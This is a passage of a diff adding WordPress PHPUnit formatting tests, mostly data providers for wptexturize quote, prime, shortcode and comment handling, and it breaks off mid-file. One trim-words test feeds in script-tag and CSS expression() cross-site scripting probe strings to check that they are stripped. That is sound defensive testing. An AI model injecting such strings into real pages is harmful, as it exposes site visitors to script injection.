+				'[[gallery]]&#8230;[[/gallery]]',
+			),
+			array(
+				'[[[gallery]]]...[[[/gallery]]]', // Again, shortcode parsing matches, but only the [[gallery] and [/gallery]] parts.
+				'[[[gallery]]]&#8230;[[[/gallery]]]',
+			),
+			array(
+				'[gallery ...',
+				'[gallery &#8230;',
+			),
+			array(
+				'[gallery <br ... /> ...]', // This tag is still valid. Shortcode 'attributes' are not considered in the initial parsing of shortcodes, and HTML is allowed.
+				'[gallery <br ... /> ...]',
+			),
+			array(
+				'<br [gallery ...] ... />',
+				'<br [gallery ...] ... />',
+			),
+			array(
+				'<br [gallery ...] ... /',
+				'<br [gallery ...] ... /',
+			),
+			array(
+				'<br ... />',
+				'<br ... />',
+			),
+			array(
+				'<br ... />...<br ... />',
+				'<br ... />&#8230;<br ... />',
+			),
+			array(
+				'[gallery ...]...[gallery ...]',
+				'[gallery ...]&#8230;[gallery ...]',
+			),
+			array(
+				'[[gallery ...]]',
+				'[[gallery ...]]',
+			),
+			array(
+				'[[gallery ...]',
+				'[[gallery ...]',
+			),
+			array(
+				'[gallery ...]]',
+				'[gallery ...]]',
+			),
+			array(
+				'[/gallery ...]]',
+				'[/gallery ...]]',
+			),
+			array(
+				'[[gallery <br ... /> ...]]', // This gets parsed as an escaped shortcode with embedded HTML.  Brains may explode.
+				'[[gallery <br ... /> ...]]',
+			),
+			array(
+				'<br [[gallery ...]] ... />',
+				'<br [[gallery ...]] ... />',
+			),
+			array(
+				'<br [[gallery ...]] ... /',
+				'<br [[gallery ...]] ... /',
+			),
+			array(
+				'[[gallery ...]]...[[gallery ...]]',
+				'[[gallery ...]]&#8230;[[gallery ...]]',
+			),
+			array(
+				'[[gallery ...]...[/gallery]]',
+				'[[gallery ...]&#8230;[/gallery]]',
+			),
+			array(
+				'<!-- ... -->',
+				'<!-- ... -->',
+			),
+			array(
+				'<!--...-->',
+				'<!--...-->',
+			),
+			array(
+				'<!-- ... -- > ...',
+				'<!-- ... -- > ...',
+			),
+			array(
+				'<!-- ...', // An unclosed comment is still a comment.
+				'<!-- ...',
+			),
+			array(
+				'a<!-->b', // Browsers seem to allow this.
+				'a<!-->b',
+			),
+			array(
+				'a<!--->b',
+				'a<!--->b',
+			),
+			array(
+				'a<!---->b',
+				'a<!---->b',
+			),
+			array(
+				'a<!----->b',
+				'a<!----->b',
+			),
+			array(
+				'a<!-- c --->b',
+				'a<!-- c --->b',
+			),
+			array(
+				'a<!-- c -- d -->b',
+				'a<!-- c -- d -->b',
+			),
+			array(
+				'a<!-- <!-- c --> -->b<!-- close -->',
+				'a<!-- <!-- c --> &#8211;>b<!-- close -->',
+			),
+			array(
+				'<!-- <br /> [gallery] ... -->',
+				'<!-- <br /> [gallery] ... -->',
+			),
+			array(
+				'...<!-- ... -->...',
+				'&#8230;<!-- ... -->&#8230;',
+			),
+			array(
+				'[gallery ...]...<!-- ... -->...<br ... />',
+				'[gallery ...]&#8230;<!-- ... -->&#8230;<br ... />',
+			),
+			array(
+				'<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>',
+				'<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>',
+			),
+			array(
+				'word <img src="http://example.com/wp-content/uploads/2014/06/image-300x216.gif" /> word', // Ensure we are not corrupting image URLs.
+				'word <img src="http://example.com/wp-content/uploads/2014/06/image-300x216.gif" /> word',
+			),
+			array(
+				'[ do texturize "[quote]" here ]',
+				'[ do texturize &#8220;[quote]&#8221; here ]',
+			),
+			array(
+				'[ regex catches this <a href="[quote]">here</a> ]',
+				'[ regex catches this <a href="[quote]">here</a> ]',
+			),
+			array(
+				'[ but also catches the <b>styled "[quote]" here</b> ]',
+				'[ but also catches the <b>styled &#8220;[quote]&#8221; here</b> ]',
+			),
+			array(
+				'[Let\'s get crazy<input>[caption code="<a href=\'?a[]=100\'>hello</a>"]</input>world]', // caption shortcode is invalid here because it contains [] chars.
+				'[Let&#8217;s get crazy<input>[caption code=&#8221;<a href=\'?a[]=100\'>hello</a>&#8220;]</input>world]',
+			),
+			array(
+				'<> ... <>',
+				'<> &#8230; <>',
+			),
+			array(
+				'<> ... <> ... >',
+				'<> &#8230; <> &#8230; >',
+			),
+			array(
+				'<> ... < ... > ... <>',
+				'<> &#8230; < ... > &#8230; <>',
+			),
+		);
+	}
+
+	/**
+	 * Year abbreviations consist of exactly two digits.
+	 *
+	 * @ticket 26850
+	 * @dataProvider data_year_abbr
+	 */
+	function test_year_abbr( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_year_abbr() {
+		return array(
+			array(
+				"word '99 word",
+				"word &#8217;99 word",
+			),
+			array(
+				"word '99. word",
+				"word &#8217;99. word",
+			),
+			array(
+				"word '99, word",
+				"word &#8217;99, word",
+			),
+			array(
+				"word '99; word",
+				"word &#8217;99; word",
+			),
+			array(
+				"word '99' word", // For this pattern, prime doesn't make sense.  Should get apos and a closing quote.
+				"word &#8217;99&#8217; word",
+			),
+			array(
+				"word '99'. word",
+				"word &#8217;99&#8217;. word",
+			),
+			array(
+				"word '99', word",
+				"word &#8217;99&#8217;, word",
+			),
+			array(
+				"word '99.' word",
+				"word &#8217;99.&#8217; word",
+			),
+			array(
+				"word '99",
+				"word &#8217;99",
+			),
+			array(
+				"'99 word",
+				"&#8217;99 word",
+			),
+			array(
+				"word '999 word", // Does not match the apos pattern, should be opening quote.
+				"word &#8216;999 word",
+			),
+			array(
+				"word '99% word",
+				"word &#8216;99% word",
+			),
+			array(
+				"word '9 word",
+				"word &#8216;9 word",
+			),
+			array(
+				"word '99.9 word",
+				"word &#8216;99.9 word",
+			),
+			array(
+				"word '999",
+				"word &#8216;999",
+			),
+			array(
+				"word '9",
+				"word &#8216;9",
+			),
+			array(
+				"in '4 years, 3 months,' Obama cut the deficit",
+				"in &#8216;4 years, 3 months,&#8217; Obama cut the deficit",
+			),
+			array(
+				"testing's '4' through 'quotes'",
+				"testing&#8217;s &#8216;4&#8217; through &#8216;quotes&#8217;",
+			),
+		);
+	}
+
+	/**
+	 * Make sure translation actually works.
+	 *
+	 * Also make sure apostrophes and closing quotes aren't being confused by default.
+	 *
+	 * @ticket 27426
+	 * @dataProvider data_translate
+	 */
+	function test_translate( $input, $output ) {
+		add_filter( 'gettext_with_context', array( $this, 'filter_translate' ), 10, 4 );
+
+		$result = wptexturize( $input, true );
+
+		remove_filter( 'gettext_with_context', array( $this, 'filter_translate' ), 10, 4 );
+		wptexturize( 'reset', true );
+
+		return $this->assertEquals( $output, $result );
+	}
+
+	function filter_translate( $translations, $text, $context, $domain ) {
+		switch ($text) {
+			case '&#8211;' : return '!endash!';
+			case '&#8212;' : return '!emdash!';
+			case '&#8216;' : return '!openq1!';
+			case '&#8217;' :
+				if ( 'apostrophe' == $context ) {
+					return '!apos!';
+				} else {
+					return '!closeq1!';
+				}
+			case '&#8220;' : return '!openq2!';
+			case '&#8221;' : return '!closeq2!';
+			case '&#8242;' : return '!prime1!';
+			case '&#8243;' : return '!prime2!';
+			case '&#8217;tain&#8217;t,&#8217;twere,&#8217;twas,&#8217;tis,&#8217;twill,&#8217;til,&#8217;bout,&#8217;nuff,&#8217;round,&#8217;cause,&#8217;em' : 
+				return '!apos!tain!apos!t,!apos!twere,!apos!twas,!apos!tis,!apos!twill,!apos!til,!apos!bout,!apos!nuff,!apos!round,!apos!cause,!apos!em';
+			default : return $translations;
+		}
+	}
+
+	function data_translate() {
+		return array(
+			array(
+				"word '99 word",
+				"word !apos!99 word",
+			),
+			array(
+				"word'99 word",
+				"word!apos!99 word",
+			),
+			array(
+				"word 'test sentence' word",
+				"word !openq1!test sentence!closeq1! word",
+			),
+			array(
+				"'test sentence'",
+				"!openq1!test sentence!closeq1!",
+			),
+			array(
+				'word "test sentence" word',
+				'word !openq2!test sentence!closeq2! word',
+			),
+			array(
+				'"test sentence"',
+				'!openq2!test sentence!closeq2!',
+			),
+			array(
+				"word 'word word",
+				"word !openq1!word word",
+			),
+			array(
+				"word ('word word",
+				"word (!openq1!word word",
+			),
+			array(
+				"word ['word word",
+				"word [!openq1!word word",
+			),
+			array(
+				'word 99" word',
+				'word 99!prime2! word',
+			),
+			array(
+				'word 99"word',
+				'word 99!prime2!word',
+			),
+			array(
+				'word99" word',
+				'word99!prime2! word',
+			),
+			array(
+				'word99"word',
+				'word99!prime2!word',
+			),
+			array(
+				"word 99' word",
+				"word 99!prime1! word",
+			),
+			array(
+				"word99' word",
+				"word99!prime1! word",
+			),
+			array(
+				"word word's word",
+				"word word!apos!s word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word ]'. word",
+				"word ]!closeq1!. word",
+			),
+			array(
+				'word "word word',
+				'word !openq2!word word',
+			),
+			array(
+				'word ("word word',
+				'word (!openq2!word word',
+			),
+			array(
+				'word ["word word',
+				'word [!openq2!word word',
+			),
+			array(
+				'word word" word',
+				'word word!closeq2! word',
+			),
+			array(
+				'word word") word',
+				'word word!closeq2!) word',
+			),
+			array(
+				'word word"] word',
+				'word word!closeq2!] word',
+			),
+			array(
+				'word word"',
+				'word word!closeq2!',
+			),
+			array(
+				'word word"word',
+				'word word!closeq2!word',
+			),
+			array(
+				'test sentence".',
+				'test sentence!closeq2!.',
+			),
+			array(
+				'test sentence."',
+				'test sentence.!closeq2!',
+			),
+			array(
+				'test sentence." word',
+				'test sentence.!closeq2! word',
+			),
+			array(
+				"word word' word",
+				"word word!closeq1! word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word word'.word",
+				"word word!closeq1!.word",
+			),
+			array(
+				"word word'",
+				"word word!closeq1!",
+			),
+			array(
+				"test sentence'.",
+				"test sentence!closeq1!.",
+			),
+			array(
+				"test sentence.'",
+				"test sentence.!closeq1!",
+			),
+			array(
+				"test sentence'. word",
+				"test sentence!closeq1!. word",
+			),
+			array(
+				"test sentence.' word",
+				"test sentence.!closeq1! word",
+			),
+			array(
+				"word 'tain't word",
+				"word !apos!tain!apos!t word",
+			),
+			array(
+				"word 'twere word",
+				"word !apos!twere word",
+			),
+			array(
+				'word "42.00" word',
+				'word !openq2!42.00!closeq2! word',
+			),
+			array(
+				"word '42.00' word",
+				"word !openq1!42.00!closeq1! word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word word'.word",
+				"word word!closeq1!.word",
+			),
+			array(
+				"word word', she said",
+				"word word!closeq1!, she said",
+			),
+		);
+	}
+
+	/**
+	 * Extra sanity checks for _wptexturize_pushpop_element()
+	 *
+	 * @ticket 28483
+	 * @dataProvider data_element_stack
+	 */
+	function test_element_stack( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_element_stack() {
+		return array(
+			array(
+				'<span>hello</code>---</span>',
+				'<span>hello</code>&#8212;</span>',
+			),
+			array(
+				'</code>hello<span>---</span>',
+				'</code>hello<span>&#8212;</span>',
+			),
+			array(
+				'<code>hello</code>---</span>',
+				'<code>hello</code>&#8212;</span>',
+			),
+			array(
+				'<span>hello</span>---<code>',
+				'<span>hello</span>&#8212;<code>',
+			),
+			array(
+				'<span>hello<code>---</span>',
+				'<span>hello<code>---</span>',
+			),
+			array(
+				'<code>hello<span>---</span>',
+				'<code>hello<span>---</span>',
+			),
+			array(
+				'<code>hello</span>---</span>',
+				'<code>hello</span>---</span>',
+			),
+			array(
+				'<span><code>hello</code>---</span>',
+				'<span><code>hello</code>&#8212;</span>',
+			),
+			array(
+				'<code>hello</code>world<span>---</span>',
+				'<code>hello</code>world<span>&#8212;</span>',
+			),
+		);
+	}
+
+	/**
+	 * Test disabling shortcode texturization.
+	 *
+	 * @ticket 29557
+	 * @dataProvider data_unregistered_shortcodes
+	 */
+	function test_unregistered_shortcodes( $input, $output ) {
+		add_filter( 'no_texturize_shortcodes', array( $this, 'filter_shortcodes' ), 10, 1 );
+	
+		$output = $this->assertEquals( $output, wptexturize( $input ) );
+	
+		remove_filter( 'no_texturize_shortcodes', array( $this, 'filter_shortcodes' ), 10, 1 );
+		return $output;
+	}
+	
+	function filter_shortcodes( $disabled ) {
+		$disabled[] = 'audio';
+		return $disabled;
+	}
+
+	function data_unregistered_shortcodes() {
+		return array(
+			array(
+				'[a]a--b[audio]---[/audio]a--b[/a]',
+				'[a]a&#8211;b[audio]---[/audio]a&#8211;b[/a]',
+			),
+			array(
+				'[code ...]...[/code]', // code is not a registered shortcode.
+				'[code &#8230;]&#8230;[/code]',
+			),
+			array(
+				'[hello ...]...[/hello]', // hello is not a registered shortcode.
+				'[hello &#8230;]&#8230;[/hello]',
+			),
+			array(
+				'[...]...[/...]', // These are potentially usable shortcodes.
+				'[&#8230;]&#8230;[/&#8230;]',
+			),
+			array(
+				'[gal>ery ...]',
+				'[gal>ery &#8230;]',
+			),
+			array(
+				'[randomthing param="test"]',
+				'[randomthing param=&#8221;test&#8221;]',
+			),
+			array(
+				'[[audio]...[/audio]...', // These are potentially usable shortcodes.  Unfortunately, the meaning of [[audio] is ambiguous unless we run the entire shortcode regexp.
+				'[[audio]&#8230;[/audio]&#8230;',
+			),
+			array(
+				'[audio]...[/audio]]...', // These are potentially usable shortcodes.  Unfortunately, the meaning of [/audio]] is ambiguous unless we run the entire shortcode regexp.
+				'[audio]...[/audio]]...', // This test would not pass in 3.9 because the extra brace was always ignored by texturize.
+			),
+			array(
+				'<span>hello[/audio]---</span>',
+				'<span>hello[/audio]&#8212;</span>',
+			),
+			array(
+				'[/audio]hello<span>---</span>',
+				'[/audio]hello<span>&#8212;</span>',
+			),
+			array(
+				'[audio]hello[/audio]---</span>',
+				'[audio]hello[/audio]&#8212;</span>',
+			),
+			array(
+				'<span>hello</span>---[audio]',
+				'<span>hello</span>&#8212;[audio]',
+			),
+			array(
+				'<span>hello[audio]---</span>',
+				'<span>hello[audio]---</span>',
+			),
+			array(
+				'[audio]hello<span>---</span>',
+				'[audio]hello<span>---</span>',
+			),
+			array(
+				'[audio]hello</span>---</span>',
+				'[audio]hello</span>---</span>',
+			),
+		);
+	}
+
+	/**
+	 * Ensure primes logic is not too greedy at the end of a quotation.
+	 *
+	 * @ticket 29256
+	 * @dataProvider data_primes_vs_quotes
+	 */
+	function test_primes_vs_quotes( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_primes_vs_quotes() {
+		return array(
+			array(
+				"George's porch is 99' long.",
+				"George&#8217;s porch is 99&#8242; long.",
+			),
+			array(
+				'The best year "was that time in 2012" when everyone partied, he said.',
+				'The best year &#8220;was that time in 2012&#8221; when everyone partied, he said.',
+			),
+			array(
+				"I need 4 x 20' = 80' of trim.", // Works only with a space before the = char.
+				"I need 4 x 20&#8242; = 80&#8242; of trim.",
+			),
+			array(
+				'"Lorem ipsum dolor sit amet 1234"',
+				'&#8220;Lorem ipsum dolor sit amet 1234&#8221;',
+			),
+			array(
+				"'Etiam eu egestas dui 1234'",
+				"&#8216;Etiam eu egestas dui 1234&#8217;",
+			),
+			array(
+				'according to our source, "33% of all students scored less than 50" on the test.',
+				'according to our source, &#8220;33% of all students scored less than 50&#8221; on the test.',
+			),
+			array(
+				"The doctor said, 'An average height is between 5' and 6' in study group 7'.  He then produced a 6' chart of averages.  A man of 7', incredibly, is very possible.",
+				"The doctor said, &#8216;An average height is between 5&#8242; and 6&#8242; in study group 7&#8217;.  He then produced a 6&#8242; chart of averages.  A man of 7&#8242;, incredibly, is very possible.",
+			),
+			array(
+				'Pirates have voted on "The Expendables 3" with their clicks -- and it turns out the Sylvester Stallone-starrer hasn\'t been astoundingly popular among digital thieves, relatively speaking.
+
+As of Sunday, 5.12 million people worldwide had pirated "Expendables 3" since a high-quality copy hit torrent-sharing sites July 23, according to piracy-tracking firm Excipio.
+
+That likely contributed to the action movie\'s dismal box-office debut this weekend. But over the same July 23-Aug. 18 time period, the movie was No. 4 in downloads, after "Captain America: The Winter Soldier" (7.31 million), "Divergent" (6.29 million) and "The Amazing Spider-Man 2" (5.88 million). Moreover, that\'s despite "Expendables 3" becoming available more than three weeks prior to the film\'s U.S. theatrical debut.
+
+String with a number followed by a single quote \'Expendables 3\' vestibulum in arcu mi.',
+
+				'Pirates have voted on &#8220;The Expendables 3&#8221; with their clicks &#8212; and it turns out the Sylvester Stallone-starrer hasn&#8217;t been astoundingly popular among digital thieves, relatively speaking.
+
+As of Sunday, 5.12 million people worldwide had pirated &#8220;Expendables 3&#8221; since a high-quality copy hit torrent-sharing sites July 23, according to piracy-tracking firm Excipio.
+
+That likely contributed to the action movie&#8217;s dismal box-office debut this weekend. But over the same July 23-Aug. 18 time period, the movie was No. 4 in downloads, after &#8220;Captain America: The Winter Soldier&#8221; (7.31 million), &#8220;Divergent&#8221; (6.29 million) and &#8220;The Amazing Spider-Man 2&#8221; (5.88 million). Moreover, that&#8217;s despite &#8220;Expendables 3&#8221; becoming available more than three weeks prior to the film&#8217;s U.S. theatrical debut.
+
+String with a number followed by a single quote &#8216;Expendables 3&#8217; vestibulum in arcu mi.',
+			),
+		);
+	}
+
+	/**
+	 * Make sure translation actually works.
+	 *
+	 * Also make sure opening and closing quotes are allowed to be identical.
+	 *
+	 * @ticket 29256
+	 * @dataProvider data_primes_quotes_translation
+	 */
+	function test_primes_quotes_translation( $input, $output ) {
+		add_filter( 'gettext_with_context', array( $this, 'filter_translate2' ), 10, 4 );
+
+		$result = wptexturize( $input, true );
+
+		remove_filter( 'gettext_with_context', array( $this, 'filter_translate2' ), 10, 4 );
+		wptexturize( 'reset', true );
+
+		return $this->assertEquals( $output, $result );
+	}
+
+	function filter_translate2( $translations, $text, $context, $domain ) {
+		switch ($text) {
+			case '&#8211;' : return '!endash!';
+			case '&#8212;' : return '!emdash!';
+			case '&#8216;' : return '!q1!';
+			case '&#8217;' :
+				if ( 'apostrophe' == $context ) {
+					return '!apos!';
+				} else {
+					return '!q1!';
+				}
+			case '&#8220;' : return '!q2!';
+			case '&#8221;' : return '!q2!';
+			case '&#8242;' : return '!prime1!';
+			case '&#8243;' : return '!prime2!';
+			default : return $translations;
+		}
+	}
+
+	function data_primes_quotes_translation() {
+		return array(
+			array(
+				"George's porch is 99' long.",
+				"George!apos!s porch is 99!prime1! long.",
+			),
+			array(
+				'The best year "was that time in 2012" when everyone partied, he said.',
+				'The best year !q2!was that time in 2012!q2! when everyone partied, he said.',
+			),
+			array(
+				"I need 4 x 20' = 80' of trim.", // Works only with a space before the = char.
+				"I need 4 x 20!prime1! = 80!prime1! of trim.",
+			),
+			array(
+				'"Lorem ipsum dolor sit amet 1234"',
+				'!q2!Lorem ipsum dolor sit amet 1234!q2!',
+			),
+			array(
+				"'Etiam eu egestas dui 1234'",
+				"!q1!Etiam eu egestas dui 1234!q1!",
+			),
+			array(
+				'according to our source, "33% of all students scored less than 50" on the test.',
+				'according to our source, !q2!33% of all students scored less than 50!q2! on the test.',
+			),
+			array(
+				"The doctor said, 'An average height is between 5' and 6' in study group 7'.  He then produced a 6' chart of averages.  A man of 7', incredibly, is very possible.",
+				"The doctor said, !q1!An average height is between 5!prime1! and 6!prime1! in study group 7!q1!.  He then produced a 6!prime1! chart of averages.  A man of 7!prime1!, incredibly, is very possible.",
+			),
+			array(
+				'Pirates have voted on "The Expendables 3" with their clicks -- and it turns out the Sylvester Stallone-starrer hasn\'t been astoundingly popular among digital thieves, relatively speaking.
+
+As of Sunday, 5.12 million people worldwide had pirated "Expendables 3" since a high-quality copy hit torrent-sharing sites July 23, according to piracy-tracking firm Excipio.
+
+That likely contributed to the action movie\'s dismal box-office debut this weekend. But over the same July 23-Aug. 18 time period, the movie was No. 4 in downloads, after "Captain America: The Winter Soldier" (7.31 million), "Divergent" (6.29 million) and "The Amazing Spider-Man 2" (5.88 million). Moreover, that\'s despite "Expendables 3" becoming available more than three weeks prior to the film\'s U.S. theatrical debut.
+
+String with a number followed by a single quote \'Expendables 3\' vestibulum in arcu mi.',
+
+				'Pirates have voted on !q2!The Expendables 3!q2! with their clicks !emdash! and it turns out the Sylvester Stallone-starrer hasn!apos!t been astoundingly popular among digital thieves, relatively speaking.
+
+As of Sunday, 5.12 million people worldwide had pirated !q2!Expendables 3!q2! since a high-quality copy hit torrent-sharing sites July 23, according to piracy-tracking firm Excipio.
+
+That likely contributed to the action movie!apos!s dismal box-office debut this weekend. But over the same July 23-Aug. 18 time period, the movie was No. 4 in downloads, after !q2!Captain America: The Winter Soldier!q2! (7.31 million), !q2!Divergent!q2! (6.29 million) and !q2!The Amazing Spider-Man 2!q2! (5.88 million). Moreover, that!apos!s despite !q2!Expendables 3!q2! becoming available more than three weeks prior to the film!apos!s U.S. theatrical debut.
+
+String with a number followed by a single quote !q1!Expendables 3!q1! vestibulum in arcu mi.',
+			),
+		);
+	}
+
+	/**
+	 * Automated performance testing of the main regex.
+	 *
+	 * @dataProvider data_whole_posts
+	 */
+	function test_pcre_performance( $input ) {
+		global $shortcode_tags;
+
+		// With Shortcodes Disabled
+		$regex = _get_wptexturize_split_regex( );
+		$result = benchmark_pcre_backtracking( $regex, $input, 'split' );
+		$this->assertLessThan( 200, $result );
+
+		// With Shortcodes Enabled
+		$shortcode_regex = _get_wptexturize_shortcode_regex( array_keys( $shortcode_tags ) );
+		$regex = _get_wptexturize_split_regex( $shortcode_regex );
+		$result = benchmark_pcre_backtracking( $regex, $input, 'split' );
+		return $this->assertLessThan( 200, $result );
+	}
+
+	/**
+	 * Ensure that a trailing less-than symbol doesn't cause a PHP warning.
+	 *
+	 * @ticket 35864
+	 */
+	function test_trailing_less_than() {
+		$this->assertEquals( 'F&#8211;oo<', wptexturize( 'F--oo<', true ) );
+	}
+
+	function data_whole_posts() {
+		require_once( DIR_TESTDATA . '/formatting/whole-posts.php' );
+		return data_whole_posts();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPTrimWords.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPTrimWords.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPTrimWords.php	(revision 56912)
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTrimWords extends WP_UnitTestCase {
+	private $long_text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit mollis viverra. Pellentesque id urna euismod dolor cursus sagittis.';
+
+	function test_trims_to_55_by_default() {
+		$trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text ) );
+	}
+
+	function test_trims_to_10() {
+		$trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 10 ) );
+	}
+
+	function test_trims_to_5_and_uses_custom_more() {
+		$trimmed = 'Lorem ipsum dolor sit amet,[...] Read on!';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 5, '[...] Read on!' ) );
+	}
+
+	function test_strips_tags_before_trimming() {
+		$text = 'This text contains a <a href="http://wordpress.org"> link </a> to WordPress.org!';
+		$trimmed = 'This text contains a link&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $text, 5 ) );
+	}
+
+	// #18726
+	function test_strips_script_and_style_content() {
+		$trimmed = 'This text contains. It should go.';
+
+		$text = 'This text contains<script>alert(" Javascript");</script>. It should go.';
+		$this->assertEquals( $trimmed, wp_trim_words( $text ) );
+
+		$text = 'This text contains<style>#css { width:expression(alert("css")) }</style>. It should go.';
+		$this->assertEquals( $trimmed, wp_trim_words( $text ) );
+	}
+
+	function test_doesnt_trim_short_text() {
+		$text = 'This is some short text.';
+		$this->assertEquals( $text, wp_trim_words( $text ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlEditPre.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlEditPre.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlEditPre.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * @group formatting
+ * @expectedDeprecated wp_htmledit_pre
+ */
+class Tests_Formatting_WpHtmlEditPre extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_wp_htmledit_pre_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( $iso8859_1, wp_htmledit_pre( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_wp_htmledit_pre_charset_utf_8() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( $utf8, wp_htmledit_pre( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlSplit.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlSplit.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WpHtmlSplit.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpHtmlSplit extends WP_UnitTestCase {
+
+	/**
+	 * Basic functionality goes here.
+	 *
+	 * @dataProvider data_basic_features
+	 */
+	function test_basic_features( $input, $output ) {
+		return $this->assertEquals( $output, wp_html_split( $input ) );
+	}
+
+	function data_basic_features() {
+		return array(
+			array(
+				'abcd efgh',
+				array( 'abcd efgh' ),
+			),
+			array(
+				'abcd <html> efgh',
+				array( 'abcd ', '<html>', ' efgh' ),
+			),
+			array(
+				'abcd <!-- <html> --> efgh',
+				array( 'abcd ', '<!-- <html> -->', ' efgh' ),
+			),
+			array(
+				'abcd <![CDATA[ <html> ]]> efgh',
+				array( 'abcd ', '<![CDATA[ <html> ]]>', ' efgh' ),
+			),
+		);
+	}
+
+	/**
+	 * Automated performance testing of the main regex.
+	 *
+	 * @dataProvider data_whole_posts
+	 */
+	function test_pcre_performance( $input ) {
+		$regex = get_html_split_regex();
+		$result = benchmark_pcre_backtracking( $regex, $input, 'split' );
+		return $this->assertLessThan( 200, $result );
+	}
+
+	function data_whole_posts() {
+		require_once( DIR_TESTDATA . '/formatting/whole-posts.php' );
+		return data_whole_posts();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpReplaceInTags extends WP_UnitTestCase {
+	/**
+	 * Check for expected behavior of new function wp_replace_in_html_tags().
+	 *
+	 * @dataProvider data_wp_replace_in_html_tags
+	 */
+	function test_wp_replace_in_html_tags( $input, $output ) {
+		return $this->assertEquals( $output, wp_replace_in_html_tags( $input, array( "\n" => " " ) ) );
+	}
+
+	function data_wp_replace_in_html_tags() {
+		return array(
+			array(
+				"Hello \n World",
+				"Hello \n World",
+			),
+			array(
+				"<Hello \n World>",
+				"<Hello   World>",
+			),
+			array(
+				"<!-- Hello \n World -->",
+				"<!-- Hello   World -->",
+			),
+			array(
+				"<!-- Hello <\n> World -->",
+				"<!-- Hello < > World -->",
+			),
+		);
+	}
+}
+?>
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WpRichEditPre.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WpRichEditPre.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WpRichEditPre.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * @group formatting
+ * @expectedDeprecated wp_richedit_pre
+ */
+class Tests_Formatting_WpRichEditPre extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_wp_richedit_pre_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( '&lt;p&gt;' . $iso8859_1 . "&lt;/p&gt;\n", wp_richedit_pre( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_wp_richedit_pre_charset_utf_8() {
